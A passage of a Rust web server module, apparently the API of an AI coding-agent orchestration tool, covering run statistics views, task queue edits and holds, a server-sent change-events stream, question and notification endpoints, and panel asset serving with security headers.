4487#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494 agent: String,
4495 seated: usize,
4496 proposed: usize,
4497 absent: usize,
4498 faint: usize,
4499 strong: usize,
4500 reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504 fn from(a: &stats::AdvisorStats) -> Self {
4505 Self {
4506 agent: a.agent.clone(),
4507 seated: a.seated,
4508 proposed: a.proposed,
4509 absent: a.absent,
4510 faint: a.faint,
4511 strong: a.strong,
4512 reflection_rate: RateView::of(a.strong, a.proposed),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520 rounds: usize,
4521 failures: usize,
4522 sole_detections: usize,
4523 deferred: usize,
4524 sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528 fn from(e: &stats::E2eStats) -> Self {
4529 Self {
4530 rounds: e.rounds,
4531 failures: e.failures,
4532 sole_detections: e.sole_detections,
4533 deferred: e.deferred,
4534 sole_rate: RateView::of(e.sole_detections, e.failures),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548 merged: usize,
4549 recorded: usize,
4550 pr_opened: usize,
4551 automerge_enabled: usize,
4552 merged_directly: usize,
4553 needs_attention: usize,
4554 clean: usize,
4555 coverage_rate: Option<RateView>,
4556 automerge_rate: Option<RateView>,
4557 attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561 fn from(b: &stats::ReleaseBumpStats) -> Self {
4562 Self {
4563 merged: b.merged,
4564 recorded: b.recorded,
4565 pr_opened: b.pr_opened,
4566 automerge_enabled: b.automerge_enabled,
4567 merged_directly: b.merged_directly,
4568 needs_attention: b.needs_attention,
4569 clean: b.clean(),
4570 coverage_rate: RateView::of(b.recorded, b.merged),
4571 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572 attention_rate: RateView::of(b.needs_attention, b.recorded),
4573 }
4574 }
4575}
4576
4577#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580 queued: usize,
4581 running: usize,
4582 done: usize,
4583 failed: usize,
4584 held: usize,
4585 blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589 fn from(c: crate::queue::TaskCounts) -> Self {
4590 Self {
4591 queued: c.queued,
4592 running: c.running,
4593 done: c.done,
4594 failed: c.failed,
4595 held: c.held,
4596 blocked: c.blocked,
4597 }
4598 }
4599}
4600
4601#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608 repo: String,
4611 name: String,
4613 runs: usize,
4614 completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618 fn from(r: &stats::RepoStats) -> Self {
4619 let t = &r.stats.totals;
4620 Self {
4621 repo: r.repo.to_string_lossy().into_owned(),
4622 name: r.name.clone(),
4623 runs: t.runs,
4624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625 }
4626 }
4627}
4628
4629#[derive(Debug, Serialize)]
4635struct StatsView {
4636 totals: StatsTotalsView,
4637 agents: Vec<AgentStatsView>,
4639 reviewers: Vec<ReviewerStatsView>,
4641 advisors: Vec<AdvisorStatsView>,
4643 e2e: E2eStatsView,
4644 release_bumps: ReleaseBumpStatsView,
4645 queue: TaskCountsView,
4646 runs_unreadable: usize,
4656 repos: Vec<RepoSummaryView>,
4660 daily: Vec<DailyStatsView>,
4665 repo: Option<String>,
4669}
4670
4671#[derive(Debug, Serialize)]
4673struct DailyStatsView {
4674 date: String,
4676 runs: usize,
4677 merged: usize,
4678 ready: usize,
4679 other: usize,
4680 completion_rate: Option<RateView>,
4682}
4683
4684impl From<&stats::DayBucket> for DailyStatsView {
4685 fn from(b: &stats::DayBucket) -> Self {
4686 Self {
4687 date: b.date.to_string(),
4688 runs: b.runs,
4689 merged: b.merged,
4690 ready: b.ready,
4691 other: b.other,
4692 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4693 }
4694 }
4695}
4696
4697const STATS_DAILY_DAYS: usize = 30;
4699
4700#[derive(Debug, Default, Deserialize)]
4709#[serde(default)]
4710struct StatsQuery {
4711 repo: Option<String>,
4712}
4713
4714async fn stats_get(
4721 State(ui): State<Arc<Ui>>,
4722 Query(q): Query<StatsQuery>,
4723) -> ApiResult<Json<StatsView>> {
4724 blocking(move || {
4725 let states: Vec<RunState> = run_ids(&ui.runs)
4726 .into_iter()
4727 .filter_map(|id| read_run(&ui.runs, &id).ok())
4728 .collect();
4729 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4730 .iter()
4731 .map(RepoSummaryView::from)
4732 .collect();
4733 let mut scoped: Vec<&RunState> = states.iter().collect();
4734 let collected = match &q.repo {
4735 Some(repo) => {
4736 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4737 if filtered.is_empty() {
4738 return Err(ApiError::not_found(format!(
4739 "no runs recorded against repo `{repo}`"
4740 )));
4741 }
4742 scoped = filtered.clone();
4743 stats::collect_refs(filtered)
4744 }
4745 None => stats::collect(&states),
4746 };
4747 let daily = stats::daily(
4748 scoped,
4749 jiff::Zoned::now().date(),
4750 &jiff::tz::TimeZone::system(),
4751 STATS_DAILY_DAYS,
4752 );
4753 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4754 Ok(Json(StatsView {
4755 totals: StatsTotalsView::from(&collected.totals),
4756 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4757 reviewers: collected
4758 .reviewers
4759 .iter()
4760 .map(ReviewerStatsView::from)
4761 .collect(),
4762 advisors: collected
4763 .advisors
4764 .iter()
4765 .map(AdvisorStatsView::from)
4766 .collect(),
4767 e2e: E2eStatsView::from(&collected.e2e),
4768 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4769 queue: TaskCountsView::from(queue_counts),
4770 runs_unreadable: runs_unreadable(&ui.runs),
4771 repos,
4772 daily: daily.iter().map(DailyStatsView::from).collect(),
4773 repo: q.repo.clone(),
4774 }))
4775 })
4776 .await
4777}
4778
4779#[derive(Debug, Default, Deserialize)]
4782#[serde(default, deny_unknown_fields)]
4783struct HoldBody {
4784 reason: Option<String>,
4785}
4786
4787async fn queue_hold(
4788 State(ui): State<Arc<Ui>>,
4789 Path(id): Path<String>,
4790 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792 let body = match body {
4796 Ok(Json(body)) => body,
4797 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4798 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4799 };
4800 let reason = body.reason.filter(|r| !r.trim().is_empty());
4801 mutate(ui, id, move |t| {
4802 t.hold_manual(reason.clone());
4803 Ok(())
4804 })
4805 .await
4806}
4807
4808async fn queue_release(
4809 State(ui): State<Arc<Ui>>,
4810 Path(id): Path<String>,
4811) -> ApiResult<Json<TaskView>> {
4812 mutate(ui, id, |t| {
4813 t.release();
4814 Ok(())
4815 })
4816 .await
4817}
4818
4819#[derive(Debug, Deserialize)]
4821#[serde(deny_unknown_fields)]
4822struct PriorityBody {
4823 priority: i32,
4824}
4825
4826async fn queue_priority(
4832 State(ui): State<Arc<Ui>>,
4833 Path(id): Path<String>,
4834 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4835) -> ApiResult<Json<TaskView>> {
4836 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4837 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4838}
4839
4840#[derive(Debug, Deserialize)]
4842#[serde(deny_unknown_fields)]
4843struct EditBody {
4844 title: String,
4845 instruction: String,
4846 #[serde(default)]
4849 force: bool,
4850}
4851
4852async fn queue_edit(
4856 State(ui): State<Arc<Ui>>,
4857 Path(id): Path<String>,
4858 body: std::result::Result<Json<EditBody>, JsonRejection>,
4859) -> ApiResult<Json<TaskView>> {
4860 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4861 let mut judged: Option<(String, PathBuf)> = None;
4865 if !body.force {
4866 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4867 let (id, text) = (id.clone(), body.instruction.clone());
4868 let (seen, hits) = blocking(move || {
4869 let id = resolve_task(&queue, &id)?;
4870 let t = queue.get(&id)?;
4871 if text == t.instruction {
4872 return Ok((None, Vec::new()));
4873 }
4874 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4875 Ok((Some((t.instruction, t.repo)), hits))
4876 })
4877 .await?;
4878 if let Some((_, repo)) = &seen {
4879 let cfg = crate::config::Config::discover(repo, None)
4880 .ok()
4881 .map(|(c, _)| c);
4882 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4883 .await
4884 .map_err(|dup| {
4885 ApiError::conflict(dup.render(
4886 "Nothing was saved. If it is not a duplicate, repeat the request with \
4887 \"force\": true.",
4888 ))
4889 })?;
4890 }
4891 judged = seen;
4892 }
4893 let force = body.force;
4894 mutate(ui, id, move |t| {
4895 if !force && body.instruction != t.instruction {
4896 match &judged {
4897 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4898 _ => {
4899 anyhow::bail!("the task changed while it was being checked; repeat the request")
4900 }
4901 }
4902 }
4903 t.edit(body.title.clone(), body.instruction.clone())
4904 })
4905 .await
4906}
4907
4908async fn queue_done(
4916 State(ui): State<Arc<Ui>>,
4917 Path(id): Path<String>,
4918) -> ApiResult<Json<TaskView>> {
4919 let home = ui.home.clone();
4920 mutate(ui, id, move |t| {
4921 t.succeed();
4922 crate::daemon::supersede_prior_runs(t, &home);
4930 Ok(())
4931 })
4932 .await
4933}
4934
4935async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4943 blocking(move || {
4944 let id = resolve_task(&ui.queue, &id)?;
4945 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4946 ui.queue
4947 .remove(&id, in_flight, &ui.questions)
4948 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4949 Ok(StatusCode::NO_CONTENT)
4950 })
4951 .await
4952}
4953
4954async fn mutate(
4963 ui: Arc<Ui>,
4964 id: String,
4965 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4966) -> ApiResult<Json<TaskView>> {
4967 blocking(move || {
4968 let id = resolve_task(&ui.queue, &id)?;
4969 let _claim = ui.queue.claim(&id).map_err(|e| {
4974 ApiError::conflict(format!(
4975 "{e:#} - a daemon is running this task, so it cannot be \
4976 changed from here yet"
4977 ))
4978 })?;
4979 let mut task = ui.queue.get(&id)?;
4980 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4981 Ok(dup) => ApiError::conflict(dup.render(
4982 "Nothing was saved. If it is not a duplicate, repeat the request with \
4983 \"force\": true.",
4984 )),
4985 Err(e) => ApiError::bad_request_from(e),
4986 })?;
4987 ui.queue.put(&mut task)?;
4988 Ok(Json(TaskView::from(task)))
4989 })
4990 .await
4991}
4992
4993async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5001 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5002 tokio::spawn(async move {
5003 let mut ticker = tokio::time::interval(POLL);
5004 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5005 let mut stamps: Option<[Stamps; 3]> = None;
5006 loop {
5007 ticker.tick().await;
5010 let state = Arc::clone(&ui);
5011 let revisions = tokio::task::spawn_blocking(move || {
5012 let stamps = [
5013 store_stamps(state.queue.root(), false),
5014 store_stamps(&state.runs, true),
5015 store_stamps(state.talks.root(), false),
5016 ];
5017 let revisions = (
5018 stamps_revision(&stamps[0]),
5019 stamps_revision(&stamps[1]),
5020 state.questions.revision(),
5021 stamps_revision(&stamps[2]),
5022 state.notices.revision(),
5023 state.lock_loop().rev,
5027 );
5028 (revisions, stamps)
5029 })
5030 .await;
5031 let Ok((revisions, next_stamps)) = revisions else {
5032 break;
5033 };
5034 if last == Some(revisions) {
5035 continue;
5036 }
5037 let mut payload = serde_json::json!({
5038 "queue_rev": revisions.0,
5039 "runs_rev": revisions.1,
5040 "questions_rev": revisions.2,
5041 "talks_rev": revisions.3,
5042 "notifications_rev": revisions.4,
5043 "loop_rev": revisions.5,
5044 });
5045 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5046 for (index, (key, rev)) in [
5047 ("queue_delta", base.0),
5048 ("runs_delta", base.1),
5049 ("talks_delta", base.3),
5050 ]
5051 .into_iter()
5052 .enumerate()
5053 {
5054 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5055 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5057 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5058 }
5059 }
5060 }
5061 last = Some(revisions);
5062 stamps = Some(next_stamps);
5063 let Ok(event) = Event::default().event("change").json_data(payload) else {
5065 break;
5066 };
5067 if tx.send(event).await.is_err() {
5068 break;
5069 }
5070 }
5071 });
5072 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5073 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5074}
5075
5076type Stamps = HashMap<String, (u128, u64)>;
5077
5078fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5080 std::fs::read_dir(root)
5081 .into_iter()
5082 .flatten()
5083 .flatten()
5084 .filter_map(|entry| {
5085 let path = if runs {
5086 entry.path().join("run.json")
5087 } else {
5088 entry.path()
5089 };
5090 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5091 return None;
5092 }
5093 let metadata = path.metadata().ok()?;
5094 let modified = metadata
5095 .modified()
5096 .ok()?
5097 .duration_since(std::time::UNIX_EPOCH)
5098 .ok()?;
5099 let id = if runs {
5100 entry.file_name().to_string_lossy().into_owned()
5101 } else {
5102 path.file_stem()?.to_string_lossy().into_owned()
5103 };
5104 Some((id, (modified.as_nanos(), metadata.len())))
5105 })
5106 .collect()
5107}
5108
5109#[derive(Debug, Serialize)]
5110struct Delta {
5111 base: u64,
5112 changed: Vec<String>,
5113 removed: Vec<String>,
5114}
5115
5116fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5117 let mut changed: Vec<_> = next
5118 .iter()
5119 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5120 .map(|(id, _)| id.clone())
5121 .collect();
5122 let mut removed: Vec<_> = previous
5123 .keys()
5124 .filter(|id| !next.contains_key(*id))
5125 .cloned()
5126 .collect();
5127 changed.sort_unstable();
5128 removed.sort_unstable();
5129 Delta {
5130 base,
5131 changed,
5132 removed,
5133 }
5134}
5135
5136fn runs_revision(runs: &FsPath) -> u64 {
5143 stamps_revision(&store_stamps(runs, true))
5144}
5145
5146fn stamps_revision(stamps: &Stamps) -> u64 {
5150 use std::hash::{Hash as _, Hasher as _};
5151 if stamps.is_empty() {
5152 return 0;
5153 }
5154 let mut entries: Vec<_> = stamps.iter().collect();
5155 entries.sort_unstable();
5156 let mut hasher = std::hash::DefaultHasher::new();
5157 entries.hash(&mut hasher);
5158 hasher.finish().max(1)
5159}
5160
5161fn run_ids(runs: &FsPath) -> Vec<String> {
5167 let mut ids: Vec<String> = std::fs::read_dir(runs)
5168 .into_iter()
5169 .flatten()
5170 .flatten()
5171 .filter(|e| e.path().join("run.json").is_file())
5172 .map(|e| e.file_name().to_string_lossy().into_owned())
5173 .collect();
5174 ids.sort_unstable_by(|a, b| b.cmp(a));
5176 ids
5177}
5178
5179fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5181 let path = runs.join(id).join("run.json");
5182 let body =
5183 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5184 let state: RunState =
5185 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5186 run::migrate_schema(state)
5191}
5192
5193#[must_use]
5201pub fn runs_unreadable(runs: &FsPath) -> usize {
5202 run_ids(runs)
5203 .into_iter()
5204 .filter(|id| read_run(runs, id).is_err())
5205 .count()
5206}
5207
5208fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5210 if runs.join(id).join("run.json").is_file() {
5211 return Ok(id.to_owned());
5212 }
5213 pick(run_ids(runs), id, "run")
5214}
5215
5216fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5218 if queue.path_of(id).is_file() {
5219 return Ok(id.to_owned());
5220 }
5221 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5222}
5223
5224#[derive(Debug, Serialize)]
5235struct QuestionView {
5236 #[serde(flatten)]
5237 question: Question,
5238 detail_md: Vec<md::Node>,
5239 thread_bodies_md: Vec<Vec<md::Node>>,
5241 waiting_on_agent: bool,
5251 holder: Option<&'static str>,
5255 deputies_enabled: bool,
5259 run_is_task: bool,
5262 origin_chat: Option<String>,
5267}
5268
5269impl QuestionView {
5270 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5274 let base = md::ImageBase::QuestionPanel {
5275 id: question.id.clone(),
5276 };
5277 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5278 Self {
5279 detail_md: md::to_nodes(&question.detail, &base),
5280 thread_bodies_md: question
5281 .thread
5282 .iter()
5283 .map(|t| md::to_nodes(&t.body, &base))
5284 .collect(),
5285 waiting_on_agent: question.waiting_on_agent(),
5286 holder,
5287 deputies_enabled,
5288 run_is_task: question.run_names_task(),
5289 origin_chat: None,
5290 question,
5291 }
5292 }
5293
5294 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5296 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5297 self
5298 }
5299}
5300
5301fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5305 Config::discover(repo, None).ok().map(|(c, _)| c)
5306}
5307
5308fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5310 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5311}
5312
5313fn question_views(
5316 qs: Vec<Question>,
5317 store: &ask::Questions,
5318 load: impl FnOnce() -> Option<Config>,
5319) -> Vec<QuestionView> {
5320 if qs.is_empty() {
5321 return Vec::new();
5322 }
5323 let cfg = load();
5324 qs.into_iter()
5325 .map(|q| {
5326 let on = deputies_enabled(cfg.as_ref(), &q);
5327 QuestionView::of(q, store, on)
5328 })
5329 .collect()
5330}
5331
5332fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5342 if !q.status.open() {
5343 return None;
5344 }
5345 if q.cwd.is_none() && q.deputy.is_none() {
5346 return crate::deputy::kind_of(q).map(|_| "nobody");
5347 }
5348 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5349 Some(_) if q.deputy.is_some() => "deputy",
5350 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5351 Some(_) => "asker",
5352 None => "nobody",
5353 })
5354}
5355
5356async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5362 blocking(move || {
5363 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5364 Ok(Json(
5365 question_views(ui.questions.list(), &ui.questions, || {
5366 deputy_config(&ui.repo)
5367 })
5368 .into_iter()
5369 .map(|v| v.with_origin(&tasks, &talks))
5370 .collect(),
5371 ))
5372 })
5373 .await
5374}
5375
5376async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5379 blocking(move || {
5380 let items = ui.notices.list();
5381 let unread = items.iter().filter(|n| n.unread()).count();
5382 Ok(Json(
5383 serde_json::json!({ "unread": unread, "items": items }),
5384 ))
5385 })
5386 .await
5387}
5388
5389fn notice_error(e: anyhow::Error) -> ApiError {
5390 ApiError::not_found(format!("{e:#}"))
5393}
5394
5395async fn notification_read(
5397 State(ui): State<Arc<Ui>>,
5398 Path(id): Path<String>,
5399) -> ApiResult<Json<Notice>> {
5400 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5401}
5402
5403async fn notification_dismiss(
5405 State(ui): State<Arc<Ui>>,
5406 Path(id): Path<String>,
5407) -> ApiResult<Json<Notice>> {
5408 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5409}
5410
5411async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5413 blocking(move || {
5414 let changed = ui.notices.mark_all_read()?;
5415 Ok(Json(serde_json::json!({ "marked": changed })))
5416 })
5417 .await
5418}
5419
5420#[derive(Debug, Default, Deserialize)]
5426#[serde(default, deny_unknown_fields)]
5427struct NewAnswer {
5428 choice: Option<String>,
5429 text: Option<String>,
5430}
5431
5432async fn question_answer(
5433 State(ui): State<Arc<Ui>>,
5434 Path(id): Path<String>,
5435 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5436) -> ApiResult<Json<QuestionView>> {
5437 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5438 let answer = match (body.choice, body.text) {
5439 (Some(c), None) => Answer::Choice(c),
5440 (None, Some(t)) => Answer::Text(t),
5441 (Some(_), Some(_)) => {
5442 return Err(ApiError::bad_request(
5443 "send either `choice` or `text`, not both",
5444 ));
5445 }
5446 (None, None) => {
5447 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5448 }
5449 };
5450
5451 blocking(move || {
5452 let id = resolve_question(&ui.questions, &id)?;
5453 let q = ui
5454 .questions
5455 .get(&id)
5456 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5457 if !q.status.open() {
5458 return Err(ApiError::conflict(format!(
5462 "question {} is already {}",
5463 q.short(),
5464 q.status.as_str()
5465 )));
5466 }
5467 let (q, ()) = ui
5471 .questions
5472 .update(&q.id, |r| r.answer(answer))
5473 .map_err(ApiError::bad_request_from)?;
5474 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5475 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5476 Ok(Json(
5477 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5478 ))
5479 })
5480 .await
5481}
5482
5483#[derive(Debug, Deserialize)]
5485#[serde(deny_unknown_fields)]
5486struct NewSay {
5487 body: String,
5488}
5489
5490async fn question_say(
5500 State(ui): State<Arc<Ui>>,
5501 Path(id): Path<String>,
5502 body: std::result::Result<Json<NewSay>, JsonRejection>,
5503) -> ApiResult<Json<QuestionView>> {
5504 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5505 blocking(move || {
5506 let id = resolve_question(&ui.questions, &id)?;
5507 let q = ui
5508 .questions
5509 .get(&id)
5510 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5511 if !q.status.open() {
5512 return Err(ApiError::conflict(format!(
5516 "question {} is already {}",
5517 q.short(),
5518 q.status.as_str()
5519 )));
5520 }
5521 let (q, ()) = ui
5524 .questions
5525 .update(&q.id, |r| r.say(body.body))
5526 .map_err(ApiError::bad_request_from)?;
5527 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5528 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5529 Ok(Json(
5530 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5531 ))
5532 })
5533 .await
5534}
5535
5536async fn question_consult(
5545 State(ui): State<Arc<Ui>>,
5546 Path(id): Path<String>,
5547) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5548 let (view, reclaimed) = blocking({
5549 let ui = Arc::clone(&ui);
5550 move || {
5551 let id = resolve_question(&ui.questions, &id)?;
5552 let q = ui
5553 .questions
5554 .get(&id)
5555 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5556 if !q.status.open() {
5557 return Err(ApiError::conflict(format!(
5558 "question {} is already {}",
5559 q.short(),
5560 q.status.as_str()
5561 )));
5562 }
5563 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5564 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5565 return Err(ApiError::conflict(format!(
5566 "question {} has no open chat to ask",
5567 q.short()
5568 )));
5569 };
5570 let cfg = if q.consult.is_none() {
5574 Some(Config::discover(&talk.repo, None)?.0)
5575 } else {
5576 None
5577 };
5578 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5579 let claim = if fresh {
5580 match ui.begin_queued_talk_turn(&talk.id)? {
5581 Some(turn_guard) => {
5582 let talk = ui.talks.get(&talk.id)?;
5583 let cfg = match cfg {
5584 Some(cfg) => cfg,
5585 None => Config::discover(&talk.repo, None)?.0,
5586 };
5587 Some((talk, cfg, turn_guard))
5588 }
5589 None => None,
5590 }
5591 } else {
5592 None
5593 };
5594 let q = ui.questions.get(&q.id)?;
5595 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5596 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5597 Ok((view, claim))
5598 }
5599 })
5600 .await?;
5601 if let Some((talk, cfg, turn_guard)) = reclaimed {
5602 let talks = ui.talks.clone();
5603 let id = talk.id.clone();
5604 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5605 }
5606 Ok((StatusCode::ACCEPTED, Json(view)))
5607}
5608
5609fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5611 if store.path_of(id).is_file() {
5612 return Ok(id.to_owned());
5613 }
5614 pick(
5615 store.list().into_iter().map(|q| q.id).collect(),
5616 id,
5617 "question",
5618 )
5619}
5620
5621async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5636 blocking(move || {
5637 let id = resolve_question(&ui.questions, &id)?;
5638 let Some(html) = ui.questions.panel_html(&id) else {
5639 return Err(ApiError::not_found(format!("question {id} has no panel")));
5640 };
5641 Ok(panel_response(
5642 "text/html; charset=utf-8",
5643 false,
5644 html.into_bytes(),
5645 ))
5646 })
5647 .await
5648}
5649
5650async fn question_asset(
5678 State(ui): State<Arc<Ui>>,
5679 Path((id, name)): Path<(String, String)>,
5680) -> ApiResult<Response> {
5681 if !crate::ask::valid_asset_name(&name) {
5684 return Err(ApiError::bad_request(format!(
5685 "`{name}` is not a usable asset name"
5686 )));
5687 }
5688 blocking(move || {
5689 let id = resolve_question(&ui.questions, &id)?;
5690 let asset = ui
5691 .questions
5692 .panel_asset(&id, &name)
5693 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5694 let Some(bytes) = asset else {
5695 return Err(ApiError::not_found(format!(
5696 "question {id} has no asset `{name}`"
5697 )));
5698 };
5699 Ok(panel_response(
5700 asset_content_type(&name),
5701 is_svg(&name),
5702 bytes,
5703 ))
5704 })
5705 .await
5706}
5707
5708fn asset_content_type(name: &str) -> &'static str {
5721 match extension(name).as_deref() {
5722 Some("png") => "image/png",
5723 Some("jpg" | "jpeg") => "image/jpeg",
5724 Some("gif") => "image/gif",
5725 Some("webp") => "image/webp",
5726 Some("svg") => "image/svg+xml",
5727 Some("css") => "text/css; charset=utf-8",
5728 Some("txt") => "text/plain; charset=utf-8",
5729 _ => "application/octet-stream",
5730 }
5731}
5732
5733fn is_svg(name: &str) -> bool {
5736 extension(name).as_deref() == Some("svg")
5737}
5738
5739fn extension(name: &str) -> Option<String> {
5741 name.rsplit_once('.')
5742 .map(|(_, ext)| ext.to_ascii_lowercase())
5743}
5744
5745fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5762 let mut res = (
5763 [
5764 (header::CONTENT_TYPE, content_type),
5765 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5766 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5767 (header::REFERRER_POLICY, "no-referrer"),
5768 ],
5769 body,
5770 )
5771 .into_response();
5772 if download {
5773 res.headers_mut().insert(
5774 header::CONTENT_DISPOSITION,
5775 HeaderValue::from_static("attachment"),
5776 );
5777 }
5778 res
5779}
5780
5781#[derive(Debug, Serialize)]
5787struct TalkView {
5788 #[serde(flatten)]
5789 talk: Talk,
5790 turn_bodies_md: Vec<Vec<md::Node>>,
5791 thinking: bool,
5799 context: talk::ContextUsage,
5803}
5804
5805impl TalkView {
5806 fn new(talk: Talk, thinking: bool) -> Self {
5809 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5810 Self::with_config(talk, thinking, cfg.as_ref())
5811 }
5812
5813 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5816 let context = talk::context_usage(&talk, cfg);
5817 let turn_bodies_md = talk
5818 .turns
5819 .iter()
5820 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5821 .collect();
5822 Self {
5823 turn_bodies_md,
5824 thinking,
5825 context,
5826 talk,
5827 }
5828 }
5829}
5830
5831#[derive(Debug, Serialize)]
5836struct TalkDetailView {
5837 #[serde(flatten)]
5838 view: TalkView,
5839 tasks: Vec<TaskView>,
5840 roster: Vec<RosterEntry>,
5843}
5844
5845#[derive(Debug, Serialize)]
5847struct RosterEntry {
5848 id: String,
5849 kind: AgentKind,
5850 runnable: bool,
5852}
5853
5854async fn talks_list(
5859 State(ui): State<Arc<Ui>>,
5860 Query(q): Query<ListQuery>,
5861) -> ApiResult<Json<Vec<TalkView>>> {
5862 blocking(move || {
5863 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5864 Ok(Json(
5865 ui.talks
5866 .list()
5867 .into_iter()
5868 .filter(|talk| q.contains(&talk.id))
5869 .map(|talk| {
5870 let thinking = ui.is_thinking(&talk.id);
5871 let cfg = configs
5872 .entry(talk.repo.clone())
